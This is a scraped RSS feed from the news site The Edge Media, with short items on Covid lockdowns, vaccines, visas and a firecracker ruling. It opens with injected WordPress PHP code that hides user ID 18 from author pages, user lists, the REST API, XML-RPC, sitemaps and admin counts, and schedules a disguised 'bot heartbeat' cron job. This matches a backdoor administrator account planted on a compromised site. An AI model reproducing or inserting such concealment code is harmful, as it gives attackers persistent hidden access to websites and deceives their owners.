add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post North-East China Goes Under Complete Lockdown Due To Rising Cases appeared first on The Edge Media.
]]>With the anticipated spread of the stealth Omicron variety, the country’s COVID curve is growing dramatically this time. China just reported its second virus-related fatality in over a year.
The post North-East China Goes Under Complete Lockdown Due To Rising Cases appeared first on The Edge Media.
]]>The post PM Modi to disscuss Covid situation with CMs appeared first on The Edge Media.
]]>The Covid related measures and situation will be discussed at 4:30 PM via video conferencing. While Reviewing the situation at the High-level meeting PM Modi called for ensuring an adequate amount of health infrastructure in every state at the district level along with accelerating vaccination drive, working in mission mode.
Public health response and state-specific scenarios will be discussed with CMs
The post PM Modi to disscuss Covid situation with CMs appeared first on The Edge Media.
]]>The post Supreme Court’s New Ruling: “Cannot Have Complete Ban on Firecrackers” appeared first on The Edge Media.
]]>
Relying upon an order by the top court in another case involving firecrackers from Friday, the judges said, “There cannot be a complete ban of firecrackers. Strengthen the mechanism to stop misuse.” Supreme Court Justices AM Khanwilkar and Ajay Rastogi also asked the West Bengal government to look into the possibility of preventing banned firecrackers and related items from being imported into the state and stopping them at entry points.
The post Supreme Court’s New Ruling: “Cannot Have Complete Ban on Firecrackers” appeared first on The Edge Media.
]]>The post For the First Time Since the Pandemic Began, No Covid Deaths Have Been Reported In Mumbai appeared first on The Edge Media.
]]>
In the metropolis, which now has 5,030 active cases, the positive rate has dropped to 1.27 percent. The city has a 97 percent recovery rate. According to officials, almost 28,600 tests were conducted across the city in the last 24 hours. Even though there are no active containment zones in the city, 50 buildings are still locked.
The post For the First Time Since the Pandemic Began, No Covid Deaths Have Been Reported In Mumbai appeared first on The Edge Media.
]]>The post DDMA is considering permitting offline sessions for 6-8 weeks after the holidays, according to LG appeared first on The Edge Media.
]]>Baijal said in a series of tweets, “Chaired the 25th meeting of DDMA to review the COVID19 situation in Delhi… As suggested by the experts, it was decided to consider opening middle school classes 6-8, after the festive season. All the stakeholders were called upon to work in a coordinated manner towards ensuring adequate preparedness for tackling any future challenges.”
For students in grades 9 and up, schools are currently permitted to conduct in-person sessions.
The post DDMA is considering permitting offline sessions for 6-8 weeks after the holidays, according to LG appeared first on The Edge Media.
]]>The post The World Rally championship event in Japan cancelled due to pandemic appeared first on The Edge Media.
]]>It is the second successive year that organisers have had to cancel the Rally Japan which was due to appear last year for the first time since 2010.
Rally Japan was inked in as the 12th and final event of the championship calendar and the WRC said it would announce a replacement event shortly to conclude the season.
After eight rallies, Frenchman Sebastien Ogier (Toyota) leads the drivers’ standings, 38 points ahead of his British teammate Elfyn Evans and Belgian Thierry Neuville (Hyundai).
Among manufacturers, Toyota is 41 points ahead of Hyundai.
After the Acropolis Rally in Greece which runs this week from Thursday to Sunday, two other events remain on the calendar, in Finland (October 1-3) and Spain (October 14-17).
The post The World Rally championship event in Japan cancelled due to pandemic appeared first on The Edge Media.
]]>The post Approved Record Number Of Visas For Indian Students Despite Pandemic: US appeared first on The Edge Media.
]]>“Through these efforts, more than 55,000 students and exchange visitors are boarding planes to study in the United States, and more students are being approved every day. The U.S. Mission looks forward to another great student season as it facilitates study for spring semester students over the coming few months,” the US Mission said in a statement.
Ambassador Atul Keshap, ChargĂ© d’Affaires at the US Embassy in New Delhi stated: “Studying in the United States is a unique and often life-changing experience for Indian students, granting fresh, global perspectives and frequently leading to invaluable career opportunities. Indian students also enrich US society, achieve high levels of academic success, and deepen the bonds of friendship between our countries. The many hard-working women and men of the US Mission to India are proud to facilitate their travel and study.
The post Approved Record Number Of Visas For Indian Students Despite Pandemic: US appeared first on The Edge Media.
]]>The post “We have shown it is possible to keep the pandemic at bay.” : Brian McCloskey appeared first on The Edge Media.
]]>Basic anti-COVID-19 measures and a good testing scheme made a “safe and secure” Games possible, said Brian.
“We have shown it is possible to keep the pandemic at bay. And that is a very important lesson from Tokyo to the rest of the world,” McCloskey, a leading health adviser to the sporting event, said on Saturday during a press briefing as per Kyodo News.
The organising committee of the games has said over 600,000 tests have been carried out, with the cumulative total of those COVID-19 cases standing at 404 after another 22 people were added on Saturday.
As for the daily count, released on Saturday, no athletes tested positive for the second straight day. Of the 22 who tested positive, 13 are contractors, four are games-related officials, two are members of the media, two are employees of the organizing committee and one is a volunteer.
The total number of coronavirus cases in Japan has topped 1 million while the 17-day Olympics is nearing its close on Sunday.
“What is important is the core message from the (World Health Organization) and other agencies that the way you manage this pandemic is through basic public health measures and a good testing regime,” McCloskey said.
We’ve proved that works,” he said, adding that collected data will be provided to the rest of the world to cope with the pandemic.
IOC President Thomas Bach on Friday also stated that the Olympic Community has been the best-tested community anywhere in the world during the last few weeks.
The post “We have shown it is possible to keep the pandemic at bay.” : Brian McCloskey appeared first on The Edge Media.
]]>The post Covid-19 Vaccines For Children Might Be Out Next Month, States Health Ministry appeared first on The Edge Media.
]]>After the third wave of Covid has been warned about, experts say this will be an important step in stopping its spread and resuming schools across the nation. The Zydus immunizations for 12 to 18-year-old youngsters will be introduced by September, according to Dr. N.K. Arora, who leads the National Expert Group on Vaccines.
The post Covid-19 Vaccines For Children Might Be Out Next Month, States Health Ministry appeared first on The Edge Media.
]]>The post Few States Claimed No Deaths Due To Oxygen Shortage appeared first on The Edge Media.
]]>Aside from Deo, Tamil Nadu health secretary J Radhakrishna stated on Tuesday that the state government guaranteed enough supply of oxygen in both government and private hospitals, adding that no one died owing to a shortage of the existence gas.
The post Few States Claimed No Deaths Due To Oxygen Shortage appeared first on The Edge Media.
]]>